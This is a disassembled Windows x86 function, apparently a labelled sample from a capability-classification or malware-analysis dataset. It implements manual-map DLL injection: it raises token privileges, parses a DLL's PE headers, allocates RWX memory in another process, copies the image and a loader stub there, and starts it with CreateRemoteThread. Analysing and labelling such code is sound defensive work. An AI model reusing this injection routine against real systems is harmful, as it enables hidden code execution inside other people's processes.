Function at 0x402420
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Inject thread
Parse pe header
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
lea edx, [ebp - 0x20]
push edx
push 0x28
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402519
mov dword [ebp - 0x18], 1
mov eax, 0xc
imul ecx, eax, 0
mov dword [ebp + ecx - 0xc], 2
mov edx, 0xc
imul eax, edx, 0
mov dword [ebp + eax - 0x14], 0x14
mov ecx, 0xc
imul edx, ecx, 0
mov dword [ebp + edx - 0x10], 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str._nOpening_the_DLL._n
call fcn.004020e0
add esp, 4
lea eax, [ebp + 0xc]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x64]
cmp dword [edx + 0x14], 0xf
jbe 0x402544
mov dword [ebp - 0x6c], 1
jmp 0x40254b
mov dword [ebp - 0x6c], 0
mov al, byte [ebp - 0x6c]
mov byte [ebp - 0x51], al
movzx ecx, byte [ebp - 0x51]
test ecx, ecx
je 0x402567
mov edx, dword [ebp - 0x64]
mov eax, dword [edx]
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0xb0], edx
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x74], eax
push 0
push 0
push 3
push 0
push 3
push 0x80000000
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xffffffff
jne 0x4025c6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_open_the_DLL___d__n
call fcn.004020e0
add esp, 8
mov dword [ebp - 0x78], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0x78]
jmp 0x402c4b
push 0
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x68], eax
push 4
push 0x3000
mov eax, dword [ebp - 0x68]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x402626
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_allocate_memory_for_DLL_data___d__n
call fcn.004020e0
add esp, 8
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x7c], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0x7c]
jmp 0x402c4b
push 0
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40268e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_read_the_DLL___d__n
call fcn.004020e0
add esp, 8
push 0x8000
push 0
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x84], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0x84]
jmp 0x402c4b
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x4026e7
push str._nError:_Invalid_executable_image._n
call fcn.004020e0
add esp, 4
push 0x8000
push 0
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x88], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0x88]
jmp 0x402c4b
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x3c]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
cmp dword [eax], 0x4550
je 0x402739
push str._nError:_Invalid_PE_header._n
call fcn.004020e0
add esp, 4
push 0x8000
push 0
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x8c], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0x8c]
jmp 0x402c4b
mov edx, dword [ebp - 0x44]
movzx eax, word [edx + 0x16]
and eax, 0x2000
jne 0x402782
push str._nError:_The_image_is_not_DLL._n
call fcn.004020e0
add esp, 4
push 0x8000
push 0
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x90], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0x90]
jmp 0x402c4b
cmp dword [ebp + 8], 0
jne 0x4027d4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_open_target_process___d__n
call fcn.004020e0
add esp, 8
push 0x8000
push 0
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x94], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0x94]
jmp 0x402c4b
push str._nAllocating_memory_for_the_DLL._n
call fcn.004020e0
add esp, 4
push 0x40
push 0x3000
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx + 0x50]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x402850
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_allocate_memory_for_the_DLL___d__n
call fcn.004020e0
add esp, 8
push 0x8000
push 0
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x98], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0x98]
jmp 0x402c4b
push str._nCopying_headers_into_target_process._n
call fcn.004020e0
add esp, 4
push 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4028dd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_copy_headers_to_target_process___d__n
call fcn.004020e0
add esp, 8
push 0x8000
push 0
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x9c], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0x9c]
jmp 0x402c4b
mov eax, dword [ebp - 0x44]
add eax, 0xf8
mov dword [ebp - 0x5c], eax
push str._nCopying_sections_to_target_process._n
call fcn.004020e0
add esp, 4
mov dword [ebp - 0x50], 0
jmp 0x402907
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x44]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x50], eax
jae 0x40294b
push 0
imul ecx, dword [ebp - 0x50], 0x28
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx + ecx + 0x10]
push eax
imul ecx, dword [ebp - 0x50], 0x28
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x3c]
add eax, dword [edx + ecx + 0x14]
push eax
imul ecx, dword [ebp - 0x50], 0x28
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x40]
add eax, dword [edx + ecx + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x4028fe
push str._nAllocating_memory_for_the_loader_code._n
call fcn.004020e0
add esp, 4
push 0x40
push 0x3000
push 0x1000
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x4029da
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_allocate_memory_for_the_loader_code___d__n
call fcn.004020e0
add esp, 8
push 0x8000
push 0
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0xa0], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0xa0]
jmp 0x402c4b
mov ecx, dword [ebp - 0x48]
push ecx
push str._nLoader_code_allocated_at_0x_X_n
call fcn.004020e0
add esp, 8
xor edx, edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x40]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x34], edx
mov eax, 8
imul ecx, eax, 5
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
add eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x30], eax
mov ecx, 8
shl ecx, 0
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
add eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x2c], eax
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x28], ecx
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], edx
push str._nWriting_loader_code_to_target_process._n
call fcn.004020e0
add esp, 4
push 0
push 0x18
lea eax, [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, 0x402410
sub eax, 0x4021b0
push eax
push 0x4021b0
mov ecx, dword [ebp - 0x48]
add ecx, 0x18
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str._nExecuting_loader_code._n
call fcn.004020e0
add esp, 4
push 0
push 0
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x48]
add ecx, 0x18
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x402b3c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_execute_loader_code___d__n
call fcn.004020e0
add esp, 8
push 0x8000
push 0
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0xa4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0xa4]
jmp 0x402c4b
push 0xffffffffffffffff
mov eax, dword [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 8], 0
jne 0x402bc8
push 0x8000
push 0
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0xa8], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0xa8]
jmp 0x402c4b
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x40]
push edx
push str._nDLL_injected_at_0x_X_n
call fcn.004020e0
add esp, 8
mov eax, dword [ebp - 0x44]
cmp dword [eax + 0x28], 0
je 0x402c22
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
add edx, dword [ecx + 0x28]
push edx
push str._nDLL_entry_point:_0x_X_n
call fcn.004020e0
add esp, 8
push 0x8000
push 0
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0xac], 0
lea ecx, [ebp + 0xc]
call fcn.004019b0
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404932
mov esp, ebp
pop ebp
ret 0x1c